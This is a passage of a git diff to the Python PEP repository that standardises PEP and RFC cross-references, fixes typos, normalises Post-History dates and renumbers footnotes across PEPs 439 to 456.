:pep:`370` and implemented in Python 2.6/3.0. Since we avoid installing to the system Python we also avoid conflicting with any other packaging system (on Linux systems, for example.) If -the user is inside a virtual environment [1]_ then the pip +the user is inside a :pep:`405` virtual environment then the pip implementation will be installed into that virtual environment. The bootstrap process will proceed as follows: @@ -110,7 +111,7 @@ The bootstrap process will proceed as follows: called "pip3". 2. The user will invoke a pip command, typically "pip3 install ", for example "pip3 install Django". -3. The boostrap script will attempt to import the pip implementation. +3. The bootstrap script will attempt to import the pip implementation. If this succeeds, the pip command is processed normally. Stop. 4. On failing to import the pip implementation the bootstrap notifies the user that it needs to "install pip". It will ask the user whether it @@ -118,7 +119,7 @@ The bootstrap process will proceed as follows: package. This choice will also be present as a command-line option to pip so non-interactive use is possible. 5. The bootstrap will and contact PyPI to obtain the latest download wheel - file (see PEP 427.) + file (see :pep:`427`.) 6. Upon downloading the file it is installed using "python setup.py install". 7. The pip tool may now import the pip implementation and continues to process the requested user command normally. @@ -140,18 +141,18 @@ CA certificate check performed. This facility will be present in Python 3.4+ using Operating System certificates (see PEP XXXX). Beyond those arguments controlling index location and download -options, the "pip3" boostrap command may support further standard pip +options, the "pip3" bootstrap command may support further standard pip options for verbosity, quietness and logging. The "pip3" command will support two new command-line options that are used -in the boostrapping, and otherwise ignored. They control where the pip +in the bootstrapping, and otherwise ignored. They control where the pip implementation is installed: ---bootstrap +``--bootstrap`` Install to the user's packages directory. The name of this option is chosen to promote it as the preferred installation option. ---bootstrap-to-system +``--bootstrap-to-system`` Install to the system site-packages directory. These command-line options will also need to be implemented, but otherwise @@ -223,9 +224,6 @@ now much reduced. References ========== -.. [1] PEP 405, Python Virtual Environments - http://www.python.org/dev/peps/pep-0405/ - .. [2] pip issue tracking work needed for this PEP https://github.com/pypa/pip/issues/863 diff --git a/pep-0440.txt b/pep-0440.txt index 2fa3dacf18a..2dfaeb4ae4e 100644 --- a/pep-0440.txt +++ b/pep-0440.txt @@ -5,14 +5,15 @@ Last-Modified: $Date$ Author: Nick Coghlan , Donald Stufft BDFL-Delegate: Nick Coghlan -Discussions-To: Distutils SIG -Status: Active -Type: Informational +Discussions-To: distutils-sig@python.org +Status: Final +Topic: Packaging +Type: Standards Track Content-Type: text/x-rst Created: 18-Mar-2013 -Post-History: 30 Mar 2013, 27 May 2013, 20 Jun 2013, - 21 Dec 2013, 28 Jan 2014, 08 Aug 2014 - 22 Aug 2014 +Post-History: 30-Mar-2013, 27-May-2013, 20-Jun-2013, + 21-Dec-2013, 28-Jan-2014, 08-Aug-2014, + 22-Aug-2014 Replaces: 386 Resolution: https://mail.python.org/pipermail/distutils-sig/2014-August/024673.html @@ -24,7 +25,7 @@ This PEP describes a scheme for identifying versions of Python software distributions, and declaring dependencies on particular versions. This document addresses several limitations of the previous attempt at a -standardized approach to versioning, as described in PEP 345 and PEP 386. +standardized approach to versioning, as described in :pep:`345` and :pep:`386`. Definitions @@ -32,7 +33,7 @@ Definitions The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this -document are to be interpreted as described in RFC 2119. +document are to be interpreted as described in :rfc:`2119`. "Projects" are software components that are made available for integration. Projects include Python libraries, frameworks, scripts, plugins, @@ -676,6 +677,7 @@ shared prefix, ordering MUST be by the value of the numeric component. The following example covers many of the possible combinations:: + 1.dev0 1.0.dev456 1.0a1 1.0a2.dev456 @@ -693,15 +695,16 @@ The following example covers many of the possible combinations:: 1.0+5 1.0.post456.dev34 1.0.post456 + 1.0.15 1.1.dev1 Version ordering across different metadata versions --------------------------------------------------- -Metadata v1.0 (PEP 241) and metadata v1.1 (PEP 314) do not specify a standard -version identification or ordering scheme. However metadata v1.2 (PEP 345) -does specify a scheme which is defined in PEP 386. +Metadata v1.0 (:pep:`241`) and metadata v1.1 (:pep:`314`) do not specify a standard +version identification or ordering scheme. However metadata v1.2 (:pep:`345`) +does specify a scheme which is defined in :pep:`386`. Due to the nature of the simple installer API it is not possible for an installer to be aware of which metadata version a particular distribution was @@ -712,7 +715,7 @@ necessitate a standardization across one parsing mechanism to be used for all versions of a project. Due to the above, this PEP MUST be used for all versions of metadata and -supersedes PEP 386 even for metadata v1.2. Tools SHOULD ignore any versions +supersedes :pep:`386` even for metadata v1.2. Tools SHOULD ignore any versions which cannot be parsed by the rules in this PEP, but MAY fall back to implementation defined version parsing and ordering schemes if no versions complying with this PEP are available. @@ -1202,6 +1205,10 @@ defined in a new PEP. Summary of differences from pkg_resources.parse_version ======================================================= +* Note: this comparison is to ``pkg_resourses.parse_version`` as it existed at + the time the PEP was written. After the PEP was accepted, setuptools 6.0 and + later versions adopted the behaviour described in this PEP. + * Local versions sort differently, this PEP requires that they sort as greater than the same version without a local version, whereas ``pkg_resources.parse_version`` considers it a pre-release marker. @@ -1215,8 +1222,8 @@ Summary of differences from pkg_resources.parse_version single use of each type and they must exist in a certain order. -Summary of differences from \PEP 386 -==================================== +Summary of differences from PEP 386 +=================================== * Moved the description of version specifiers into the versioning PEP @@ -1261,7 +1268,7 @@ Changing the version scheme --------------------------- One key change in the version scheme in this PEP relative to that in -PEP 386 is to sort top level developmental releases like ``X.Y.devN`` ahead +:pep:`386` is to sort top level developmental releases like ``X.Y.devN`` ahead of alpha releases like ``X.Ya1``. This is a far more logical sort order, as projects already using both development releases and alphas/betas/release candidates do not want their developmental releases sorted in @@ -1304,7 +1311,7 @@ appropriate order as setuptools does). A more opinionated description of the versioning scheme ------------------------------------------------------- -As in PEP 386, the primary focus is on codifying existing practices to make +As in :pep:`386`, the primary focus is on codifying existing practices to make them more amenable to automation, rather than demanding that existing projects make non-trivial changes to their workflow. However, the standard scheme allows significantly more flexibility than is needed @@ -1503,7 +1510,7 @@ effects of each transformation as simple search and replace style transforms increase the likelihood of ambiguous or "junk" versions. For an extended discussion on the various types of normalizations that were -considered, please see the proof of concept for PEP 440 within pip [5]_. +considered, please see the proof of concept for :pep:`440` within pip [5]_. Allowing Underscore in Normalization @@ -1515,8 +1522,8 @@ reason for this is that the Wheel normalization scheme specifies that ``-`` gets normalized to a ``_`` to enable easier parsing of the filename. -Summary of changes to \PEP 440 -============================== +Summary of changes to PEP 440 +============================= The following changes were made to this PEP based on feedback received after the initial reference implementation was released in setuptools 8.0 and pip @@ -1547,7 +1554,7 @@ References ========== The initial attempt at a standardised version scheme, along with the -justifications for needing such a standard can be found in PEP 386. +justifications for needing such a standard can be found in :pep:`386`. .. [1] Reference Implementation of PEP 440 Versions and Specifiers https://github.com/pypa/packaging/pull/1 diff --git a/pep-0441.txt b/pep-0441.txt index 41bbad15d74..f894c82b7d6 100644 --- a/pep-0441.txt +++ b/pep-0441.txt @@ -9,7 +9,7 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 30-Mar-2013 -Post-History: 30 March 2013, 1 April 2013, 16 February 2015 +Post-History: 30-Mar-2013, 01-Apr-2013, 16-Feb-2015 Resolution: https://mail.python.org/pipermail/python-dev/2015-February/138578.html Improving Python ZIP Application Support diff --git a/pep-0442.txt b/pep-0442.txt index a43afebaa2b..3b1e2aa2834 100644 --- a/pep-0442.txt +++ b/pep-0442.txt @@ -9,7 +9,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 18-May-2013 Python-Version: 3.4 -Post-History: 2013-05-18 +Post-History: 18-May-2013 Resolution: https://mail.python.org/pipermail/python-dev/2013-June/126746.html @@ -34,7 +34,7 @@ Reference Weak reference A directional link from an object to another, which doesn't keep - alive its target. This PEP focusses on non-weak references. + alive its target. This PEP focuses on non-weak references. Reference cycle A cyclic subgraph of directional links between objects, which keeps diff --git a/pep-0443.txt b/pep-0443.txt index 3fcf9930204..8a5d6071f38 100644 --- a/pep-0443.txt +++ b/pep-0443.txt @@ -3,7 +3,7 @@ Title: Single-dispatch generic functions Version: $Revision$ Last-Modified: $Date$ Author: Łukasz Langa -Discussions-To: Python-Dev +Discussions-To: python-dev@python.org Status: Final Type: Standards Track Content-Type: text/x-rst @@ -326,7 +326,7 @@ a common one, opening them up for user extensibility at the same time. Alternative approaches ====================== -In PEP 3124 [#pep-3124]_ Phillip J. Eby proposes a full-grown solution +In :pep:`3124` Phillip J. Eby proposes a full-grown solution with overloading based on arbitrary rule sets (with the default implementation dispatching on argument types), as well as interfaces, adaptation and method combining. PEAK-Rules [#peak-rules]_ is @@ -364,7 +364,7 @@ single-dispatch generics. Acknowledgements ================ -Apart from Phillip J. Eby's work on PEP 3124 [#pep-3124]_ and +Apart from Phillip J. Eby's work on :pep:`3124` and PEAK-Rules, influences include Paul Moore's original issue [#issue-5135]_ that proposed exposing ``pkgutil.simplegeneric`` as part of the ``functools`` API, Guido van Rossum's article on multimethods @@ -379,16 +379,13 @@ References .. [#ref-impl] http://hg.python.org/features/pep-443/file/tip/Lib/functools.py#l359 -.. [#pep-0008] PEP 8 states in the "Programming Recommendations" +.. [#pep-0008] :pep:`8` states in the "Programming Recommendations" section that "the Python standard library will not use function annotations as that would result in a premature commitment to a particular annotation style". - (http://www.python.org/dev/peps/pep-0008) .. [#why-c3] http://bugs.python.org/issue18244 -.. [#pep-3124] http://www.python.org/dev/peps/pep-3124/ - .. [#peak-rules] http://peak.telecommunity.com/DevCenter/PEAK_2dRules .. [#artima2005] diff --git a/pep-0444.txt b/pep-0444.txt index cf5a905b59d..e06bc897109 100644 --- a/pep-0444.txt +++ b/pep-0444.txt @@ -4,7 +4,7 @@ Version: $Revision$ Last-Modified: $Date$ Author: Chris McDonough , Armin Ronacher -Discussions-To: Python Web-SIG +Discussions-To: web-sig@python.org Status: Deferred Type: Informational Content-Type: text/x-rst @@ -26,7 +26,7 @@ for lack of a current champion interested in promoting the goals of the PEP and collecting and incorporating feedback, and with sufficient available time to do so effectively. -Note that since this PEP was first created, PEP 3333 was created as a more +Note that since this PEP was first created, :pep:`3333` was created as a more incremental update that permitted use of WSGI on Python 3.2+. However, an alternative specification that furthers the Python 3 goals of a cleaner separation of binary and text data may still be valuable. @@ -35,10 +35,10 @@ Rationale and Goals =================== This protocol and specification is influenced heavily by the Web -Services Gateway Interface (WSGI) 1.0 standard described in PEP 333 -[1]_. The high-level rationale for having any standard that allows +Services Gateway Interface (WSGI) 1.0 standard described in :pep:`333`. +The high-level rationale for having any standard that allows Python-based web servers and applications to interoperate is outlined -in PEP 333. This document essentially uses PEP 333 as a template, and +in :pep:`333`. This document essentially uses :pep:`333` as a template, and changes its wording in various places for the purpose of forming a different standard. @@ -60,7 +60,7 @@ versions earlier than 2.6 nor Python 3 versions earlier than 3.1. .. note:: Whatever Python 3 version fixed http://bugs.python.org/issue4006 so - ``os.environ['foo']`` returns surrogates (ala PEP 383) when the + ``os.environ['foo']`` returns surrogates (ala :pep:`383`) when the value of 'foo' cannot be decoded using the current locale instead of failing with a KeyError is the *true* minimum Python 3 version. In particular, however, Python 3.0 is not supported. @@ -503,7 +503,7 @@ string. Each value is a bytes instance. ``SERVER_NAME``, ``SERVER_PORT`` When combined with ``SCRIPT_NAME`` and ``PATH_INFO`` (or their raw - equivalents)`, these variables can be used to complete the URL. + equivalents), these variables can be used to complete the URL. Note, however, that ``HTTP_HOST``, if present, should be used in preference to ``SERVER_NAME`` for reconstructing the request URL. See the `URL Reconstruction`_ section below for more detail. @@ -538,7 +538,7 @@ A server or gateway **should** attempt to provide as many other CGI variables as are applicable, each with a string for its key and a bytes instance for its value. In addition, if SSL is in use, the server or gateway **should** also provide as many of the Apache SSL -environment variables [5]_ as are applicable, such as ``HTTPS=on`` and +environment variables [4]_ as are applicable, such as ``HTTPS=on`` and ``SSL_PROTOCOL``. Note, however, that an application that uses any CGI variables other than the ones listed above are necessarily non-portable to web servers that do not support the relevant @@ -757,7 +757,7 @@ The ``status`` value is assumed by a gateway or server to be an HTTP "status" bytes instance like ``b'200 OK'`` or ``b'404 Not Found'``. That is, it is a string consisting of a Status-Code and a Reason-Phrase, in that order and separated by a single space, with no -surrounding whitespace or other characters. (See RFC 2616, Section +surrounding whitespace or other characters. (See :rfc:`2616`, Section 6.1.1 for more information.) The string **must not** contain control characters, and must not be terminated with a carriage return, linefeed, or combination thereof. @@ -765,7 +765,7 @@ linefeed, or combination thereof. The ``headers`` value is assumed by a gateway or server to be a literal Python list of ``(header_name, header_value)`` tuples. Each ``header_name`` must be a bytes instance representing a valid HTTP -header field-name (as defined by RFC 2616, Section 4.2), without a +header field-name (as defined by :rfc:`2616`, Section 4.2), without a trailing colon or other punctuation. Each ``header_value`` must be a bytes instance and **must not** include any control characters, including carriage returns or linefeeds, either embedded or at the @@ -941,9 +941,9 @@ The result of using a textlike object where a byteslike object is required is undefined. Values returned from a Web3 app as a status or as response headers -**must** follow RFC 2616 with respect to encoding. That is, the bytes +**must** follow :rfc:`2616` with respect to encoding. That is, the bytes returned must contain a character stream of ISO-8859-1 characters, or -the character stream should use RFC 2047 MIME encoding. +the character stream should use :rfc:`2047` MIME encoding. On Python platforms which do not have a native bytes-like type (e.g. IronPython, etc.), but instead which generally use textlike @@ -982,8 +982,8 @@ may be done in any of several ways: Note that these behavior restrictions do not apply for HTTP 1.0 requests, or for requests that are not directed to an application -object. For more information on HTTP 1.1 Expect/Continue, see RFC -2616, sections 8.2.3 and 10.1.1. +object. For more information on HTTP 1.1 Expect/Continue, see +:rfc:`2616`, sections 8.2.3 and 10.1.1. Other HTTP Features @@ -996,13 +996,14 @@ response. It is always possible for the application developer to add middleware components to supply additional features, so server/gateway developers should be conservative in their implementation. In a sense, a server should consider itself to be like an HTTP "gateway -server", with the application being an HTTP "origin server". (See RFC -2616, section 1.3, for the definition of these terms.) +server", with the application being an HTTP "origin server". (See +:rfc:`2616`, section 1.3, for the definition of these terms.) However, because Web3 servers and applications do not communicate via -HTTP, what RFC 2616 calls "hop-by-hop" headers do not apply to Web3 +HTTP, what :rfc:`2616` calls "hop-by-hop" headers do not apply to Web3 internal communications. Web3 applications **must not** generate any -"hop-by-hop" headers [4]_, attempt to use HTTP features that would +:rfc:`"hop-by-hop" headers <2616#section-13.5.1>`, +attempt to use HTTP features that would require them to generate such headers, or rely on the content of any incoming "hop-by-hop" headers in the ``environ`` dictionary. Web3 servers **must** handle any supported inbound "hop-by-hop" headers on @@ -1407,7 +1408,7 @@ Here are some alternatives to using all bytes: Applications Should be Allowed to Read ``web3.input`` Past ``CONTENT_LENGTH`` ----------------------------------------------------------------------------- -At [6]_, Graham Dumpleton makes the assertion that ``wsgi.input`` +At [5]_, Graham Dumpleton makes the assertion that ``wsgi.input`` should be required to return the empty string as a signifier of out-of-data, and that applications should be allowed to read past the number of bytes specified in ``CONTENT_LENGTH``, depending only upon @@ -1433,7 +1434,7 @@ There's no documented way to indicate that there is content in ``read()`` of ``web3.input`` Should Support No-Size Calling Convention ---------------------------------------------------------------------- -At [6]_, Graham Dumpleton makes the assertion that the ``read()`` +At [5]_, Graham Dumpleton makes the assertion that the ``read()`` method of ``wsgi.input`` should be callable without arguments, and that the result should be "all available request content". Needs discussion. @@ -1446,7 +1447,7 @@ Open for discussions though. Input Filters should set environ ``CONTENT_LENGTH`` to -1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -At [6]_, Graham Dumpleton suggests that an input filter might set +At [5]_, Graham Dumpleton suggests that an input filter might set ``environ['CONTENT_LENGTH']`` to -1 to indicate that it mutated the input. @@ -1471,7 +1472,7 @@ block iteration waiting for multiple values from an application iterable. If the middleware needs to accumulate more data from the application before it can produce any output, it **must** yield an empty string." This requirement existed to support asynchronous -applications and servers (see PEP 333's "Middleware Handling of Block +applications and servers (see :pep:`333`'s "Middleware Handling of Block Boundaries"). Asynchronous applications are now serviced explicitly by ``web3.async`` capable protocol (a Web3 application callable may itself return a callable). @@ -1491,25 +1492,25 @@ if the server performs URL rewriting. Long Response Headers --------------------- -Bob Brewer notes on Web-SIG [7]_: +Bob Brewer notes on Web-SIG [6]_: Each header_value must not include any control characters, including carriage returns or linefeeds, either embedded or at the end. (These requirements are to minimize the complexity of any parsing that must be performed by servers, gateways, and intermediate response processors that need to inspect or modify - response headers.) [1]_ + response headers.) (:pep:`333`) That's understandable, but HTTP headers are defined as (mostly) \*TEXT, and "words of \*TEXT MAY contain characters from character sets other than ISO-8859-1 only when encoded according to the rules of -RFC 2047." [2]_ And RFC 2047 specifies that "an 'encoded-word' may +:rfc:`2047`." [2]_ And :rfc:`2047` specifies that "an 'encoded-word' may not be more than 75 characters long... If it is desirable to encode more text than will fit in an 'encoded-word' of 75 characters, multiple 'encoded-word's (separated by CRLF SPACE) may be used." [3]_ This satisfies HTTP header folding rules, as well: "Header fields can be extended over multiple lines by preceding each extra line with at -least one SP or HT." [1]_ +least one SP or HT." (:pep:`333`) So in my reading of HTTP, some code somewhere should introduce newlines in longish, encoded response header values. I see three @@ -1543,25 +1544,18 @@ has all been read in. Neither WSGI nor Web3 currently supports them. References ========== -.. [1] PEP 333: Python Web Services Gateway Interface - (http://www.python.org/dev/peps/pep-0333/) - .. [2] The Common Gateway Interface Specification, v 1.1, 3rd Draft - (http://cgi-spec.golux.com/draft-coar-cgi-v11-03.txt) - -.. [3] "Chunked Transfer Coding" -- HTTP/1.1, section 3.6.1 - (http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.6.1) + (https://datatracker.ietf.org/doc/html/draft-coar-cgi-v11-03) -.. [4] "End-to-end and Hop-by-hop Headers" -- HTTP/1.1, Section 13.5.1 - (http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.5.1) +.. [3] "Chunked Transfer Coding" -- HTTP/1.1, :rfc:`2616#section-3.6.1` -.. [5] mod_ssl Reference, "Environment Variables" +.. [4] mod_ssl Reference, "Environment Variables" (http://www.modssl.org/docs/2.8/ssl_reference.html#ToC25) -.. [6] Details on WSGI 1.0 amendments/clarifications. +.. [5] Details on WSGI 1.0 amendments/clarifications. (http://blog.dscpl.com.au/2009/10/details-on-wsgi-10-amendmentsclarificat.html) -.. [7] [Web-SIG] WSGI and long response header values +.. [6] [Web-SIG] WSGI and long response header values https://mail.python.org/pipermail/web-sig/2006-September/002244.html Copyright diff --git a/pep-0445.txt b/pep-0445.txt index eea0026c8f5..996a54cdc7d 100644 --- a/pep-0445.txt +++ b/pep-0445.txt @@ -459,8 +459,8 @@ even in release mode: debug checks would always be compiled in, but only enabled when the environment variable is present and non-empty. This alternative was rejected because a new environment variable would -make Python initialization even more complex. `PEP 432 -`_ tries to simplify the +make Python initialization even more complex. :pep:`432` +tries to simplify the CPython startup sequence. diff --git a/pep-0446.txt b/pep-0446.txt index 3b1813d4687..9fd2b05fba9 100644 --- a/pep-0446.txt +++ b/pep-0446.txt @@ -587,7 +587,7 @@ Read the mail thread: `[Python-Dev] Proposal for a new function PEP 433 ------- -PEP 433, "Easier suppression of file descriptor inheritance", +:pep:`433`, "Easier suppression of file descriptor inheritance", was a previous attempt proposing various other alternatives, but no consensus could be reached. diff --git a/pep-0447.txt b/pep-0447.txt index 6db8cbaa102..697bd7160ee 100644 --- a/pep-0447.txt +++ b/pep-0447.txt @@ -7,7 +7,7 @@ Status: Deferred Type: Standards Track Content-Type: text/x-rst Created: 12-Jun-2013 -Post-History: 2-Jul-2013, 15-Jul-2013, 29-Jul-2013, 22-Jul-2015 +Post-History: 02-Jul-2013, 15-Jul-2013, 29-Jul-2013, 22-Jul-2015 Abstract @@ -40,7 +40,7 @@ to:: return NotFound -The default implemention of ``__getdescriptor__`` looks in the class +The default implementation of ``__getdescriptor__`` looks in the class dictionary:: class type: @@ -669,7 +669,7 @@ Discussion threads * The initial version of the PEP was send with Message-ID `<75030FAC-6918-4E94-95DA-67A88D53E6F5@mac.com>`_ -* Further discusion starting at a message with +* Further discussion starting at a message with Message-ID `<5BB87CC4-F31B-4213-AAAC-0C0CE738460C@mac.com>`_ * And more discussion starting at message with diff --git a/pep-0449.txt b/pep-0449.txt index 569ebc31d6f..bad7446c4d0 100644 --- a/pep-0449.txt +++ b/pep-0449.txt @@ -7,6 +7,7 @@ BDFL-Delegate: Richard Jones Discussions-To: distutils-sig@python.org Status: Final Type: Process +Topic: Packaging Content-Type: text/x-rst Created: 04-Aug-2013 Post-History: 04-Aug-2013 @@ -25,7 +26,7 @@ delegating a domain name under pypi.python.org to a third party. Rationale ========= -The PyPI mirroring infrastructure (defined in `PEP381`_) provides a means to +The PyPI mirroring infrastructure (defined in :pep:`381`) provides a means to mirror the content of PyPI used by the automatic installers. It also provides a method for auto discovery of mirrors and a consistent naming scheme. @@ -50,7 +51,7 @@ naming scheme: ever been implemented by one installer (pip), and its implementation, besides being insecure, has serious issues with performance and is slated for removal with its next release (1.5). -* While there are provisions in `PEP381`_ that would solve *some* of these +* While there are provisions in :pep:`381` that would solve *some* of these issues for a dedicated client it would not solve the issues that affect a users browser. Additionally these provisions have not been implemented by any installer to date. @@ -60,7 +61,7 @@ provides most of the benefit of the auto discovery and consistent naming scheme this PEP proposes to first deprecate and then remove the [a..z].pypi.python.org names for mirrors and the last.pypi.python.org name for the auto discovery protocol. The ability to mirror and the method of mirror will not be affected -and will continue to exist as written in `PEP381`_. Operators of existing +and will continue to exist as written in :pep:`381`. Operators of existing mirrors are encouraged to acquire their own domains and certificates to use for their mirrors if they wish to continue hosting them. @@ -131,13 +132,12 @@ the insecurity. Public or Private Mirrors ========================= -The mirroring protocol will continue to exist as defined in `PEP381`_ and +The mirroring protocol will continue to exist as defined in :pep:`381` and people are encouraged to host public and private mirrors if they so desire. The recommended mirroring client is `Bandersnatch`_. .. _PyPI: https://pypi.python.org/ -.. _PEP381: http://www.python.org/dev/peps/pep-0381/ .. _Bandersnatch: https://pypi.python.org/pypi/bandersnatch diff --git a/pep-0451.txt b/pep-0451.txt index 8a258581d70..f4373b3e77f 100644 --- a/pep-0451.txt +++ b/pep-0451.txt @@ -10,7 +10,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 08-Aug-2013 Python-Version: 3.4 -Post-History: 8-Aug-2013, 28-Aug-2013, 18-Sep-2013, 24-Sep-2013, 4-Oct-2013 +Post-History: 08-Aug-2013, 28-Aug-2013, 18-Sep-2013, 24-Sep-2013, 04-Oct-2013 Resolution: https://mail.python.org/pipermail/python-dev/2013-November/130104.html @@ -137,7 +137,7 @@ cache The import system stores compiled modules in the __pycache__ directory as an optimization. This module cache that we use today was provided by -PEP 3147. For this proposal, the relevant API for module caching is the +:pep:`3147`. For this proposal, the relevant API for module caching is the ``__cache__`` attribute of modules and the cache_from_source() function in importlib.util. Loaders are responsible for putting modules into the cache (and loading out of the cache). Currently the cache is only used @@ -160,10 +160,10 @@ Motivation ========== The import system has evolved over the lifetime of Python. In late 2002 -PEP 302 introduced standardized import hooks via finders and +:pep:`302` introduced standardized import hooks via finders and loaders and sys.meta_path. The importlib module, introduced with Python 3.1, now exposes a pure Python implementation of the APIs -described by PEP 302, as well as of the full import system. It is now +described by :pep:`302`, as well as of the full import system. It is now much easier to understand and extend the import system. While a benefit to the Python community, this greater accessibility also presents a challenge. @@ -179,7 +179,7 @@ generally only meaningful to the import system. It would be nice to have a per-module namespace in which to put future import-related information and to pass around within the import system. Secondly, there's an API void between finders and loaders that causes undue -complexity when encountered. The PEP 420 (namespace packages) +complexity when encountered. The :pep:`420` (namespace packages) implementation had to work around this. The complexity surfaced again during recent efforts on a separate proposal. [#ref_files_pep]_ @@ -217,7 +217,7 @@ those details. This is the same gap as before between finders and loaders. As an example of complexity attributable to this flaw, the -implementation of namespace packages in Python 3.3 (see PEP 420) added +implementation of namespace packages in Python 3.3 (see :pep:`420`) added FileFinder.find_loader() because there was no good way for find_module() to provide the namespace search locations. @@ -808,7 +808,7 @@ raising ImportError. Other changes: -PEP 420 introduced the optional module_repr() loader method to limit +:pep:`420` introduced the optional module_repr() loader method to limit the amount of special-casing in the module type's ``__repr__()``. Since this method is part of ModuleSpec, it will be deprecated on loaders. However, if it exists on a loader it will be used exclusively. @@ -856,7 +856,7 @@ Implementation Notes \* The implementation of this PEP needs to be cognizant of its impact on pkgutil (and setuptools). pkgutil has some generic function-based -extensions to PEP 302 which may break if importlib starts wrapping +extensions to :pep:`302` which may break if importlib starts wrapping loaders without the tools' knowledge. \* Other modules to look at: runpy (and pythonrun.c), pickle, pydoc, @@ -900,7 +900,7 @@ module.__spec__ is less than desirable. They would end up being an attractive nuisance, even if only exposed as "private" attributes (as they were in previous versions of this PEP). If someone finds a need for these methods later, we can expose the via an appropriate API -(separate from ModuleSpec) at that point, perhaps relative to PEP 406 +(separate from ModuleSpec) at that point, perhaps relative to :pep:`406` (import engine). Conceivably, the load() method could optionally take a list of diff --git a/pep-0452.txt b/pep-0452.txt index 4362c86e332..cdddd5ce5f2 100644 --- a/pep-0452.txt +++ b/pep-0452.txt @@ -236,7 +236,7 @@ Changes * 2001-09-20: Removed ``reset()`` method completely. * 2001-09-28: Set ``digest_size`` to ``None`` for variable-size hashes. * 2013-08-15: Added ``block_size`` and ``name`` attributes; clarified that - 'string' actually referes to bytes-like objects. + 'string' actually refers to bytes-like objects. Acknowledgements diff --git a/pep-0453.txt b/pep-0453.txt index c72ef958a9e..04954b92242 100644 --- a/pep-0453.txt +++ b/pep-0453.txt @@ -7,6 +7,7 @@ Author: Donald Stufft , BDFL-Delegate: Martin von Löwis Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 10-Aug-2013 Post-History: 30-Aug-2013, 15-Sep-2013, 18-Sep-2013, 19-Sep-2013, @@ -120,7 +121,7 @@ third-party packages as well as easier for the people distributing them as they should now be able to safely assume that most users will have the appropriate installation tools available (or access to clear instructions on how to obtain them). This is expected to become more important in the future -as the Wheel_ package format (deliberately) does not have a built in +as the :pep:`Wheel <427>` package format (deliberately) does not have a built in "installer" in the form of ``setup.py`` so users wishing to install from a wheel file will want an installer even in the simplest cases. @@ -435,7 +436,7 @@ into the CPython release is as follows: * ``ensurepip`` updated to use a ``pip`` 1.5 release candidate. - * PEP 101 updated to cover ensuring the bundled version of ``pip`` is up + * :pep:`101` updated to cover ensuring the bundled version of ``pip`` is up to date. * by November 24th (scheduled date of 3.4.0 beta 1) @@ -450,7 +451,7 @@ into the CPython release is as follows: subsequent maintenance release (including a suitably updated vendored copy of ``requests``) -(See PEP 429 for the current official scheduled dates of each release. Dates +(See :pep:`429` for the current official scheduled dates of each release. Dates listed above are accurate as of October 20th, 2013.) If there is no final or maintenance release of ``pip`` 1.5 with a suitable @@ -803,7 +804,8 @@ downstream distributors: * ``pip install --upgrade pip`` in a virtual environment should not affect the global installation. -* Migrate build systems to utilize `pip`_ and `Wheel`_ wherever feasible +* Migrate build systems to utilize `pip`_ and :pep:`Wheel <427>` + wherever feasible and avoid directly invoking ``setup.py``. * This will help ensure a smoother and more timely migration to improved @@ -944,7 +946,7 @@ invoke ``ensurepip`` by default when installing from a custom source build. Implicit bootstrap ------------------ -`PEP439`_, the predecessor for this PEP, proposes its own solution. Its +:pep:`439`, the predecessor for this PEP, proposes its own solution. Its solution involves shipping a fake ``pip`` command that when executed would implicitly bootstrap and install pip if it does not already exist. This has been rejected because it is too "magical". It hides from the end user when @@ -1013,10 +1015,8 @@ which are not handled correctly when pip is installed into the user site-packages directory rather than the system site-packages). -.. _Wheel: http://www.python.org/dev/peps/pep-0427/ .. _pip: http://www.pip-installer.org .. _setuptools: https://pypi.python.org/pypi/setuptools -.. _PEP439: http://www.python.org/dev/peps/pep-0439/ References diff --git a/pep-0454.txt b/pep-0454.txt index e7e35e360b5..7575386af09 100644 --- a/pep-0454.txt +++ b/pep-0454.txt @@ -49,7 +49,7 @@ the diagram is too huge to be analyzed manually. Proposal ======== -Using the customized allocation API from PEP 445, it becomes easy to +Using the customized allocation API from :pep:`445`, it becomes easy to set up a hook on Python memory allocators. A hook can inspect Python internals to retrieve Python tracebacks. The idea of getting the current traceback comes from the faulthandler module. The faulthandler dumps @@ -78,7 +78,7 @@ implemented in the PySizer project in 2005. PySizer was implemented differently: the traceback was stored in frame objects and some Python types were linked the trace with the name of object type. PySizer patch on CPython adds an overhead on performances and memory footprint, even if -the PySizer was not used. tracemalloc attachs a traceback to the +the PySizer was not used. tracemalloc attaches a traceback to the underlying layer, to memory blocks, and has no overhead when the module is not tracing memory allocations. @@ -313,7 +313,7 @@ Snapshot All inclusive filters are applied at once, a trace is ignored if no inclusive filters match it. A trace is ignored if at least one - exclusive filter matchs it. + exclusive filter matches it. ``load(filename)`` classmethod: @@ -526,7 +526,7 @@ Prior Work `_: Python Memory Usage Analyzer developed by John A Meinel since 2009 * `gdb-heap `_: gdb script written in - Python by Dave Malcom (2010-2011) to analyze the usage of the heap memory + Python by Dave Malcolm (2010-2011) to analyze the usage of the heap memory * `memory_profiler `_: written by Fabian Pedregosa (2011-2013) * `caulk `_: written by Ben Timby in 2012 diff --git a/pep-0456.txt b/pep-0456.txt index a9866e780c6..240ada26437 100644 --- a/pep-0456.txt +++ b/pep-0456.txt @@ -519,7 +519,7 @@ buffer. Performance =========== -In general the PEP 456 code with SipHash24 is about as fast as the old code +In general the :pep:`456` code with SipHash24 is about as fast as the old code with FNV. SipHash24 seems to make better use of modern compilers, CPUs and large L1 cache. Several benchmarks show a small speed improvement on 64 bit CPUs such as Intel Core i5 and Intel Core i7 processes. 32 bit builds and @@ -529,7 +529,7 @@ not affect any application code. The benchmarks were conducted on CPython default branch revision b08868fd5994 and the PEP repository [pep-456-repos]_. All upstream changes were merged -into the pep-456 branch. The "performance" CPU governor was configured and +into the ``pep-456`` branch. The "performance" CPU governor was configured and almost all programs were stopped so the benchmarks were able to utilize TurboBoost and the CPU caches as much as possible. The raw benchmark results of multiple machines and platforms are made available at [benchmarks]_. @@ -633,7 +633,7 @@ for the common case. 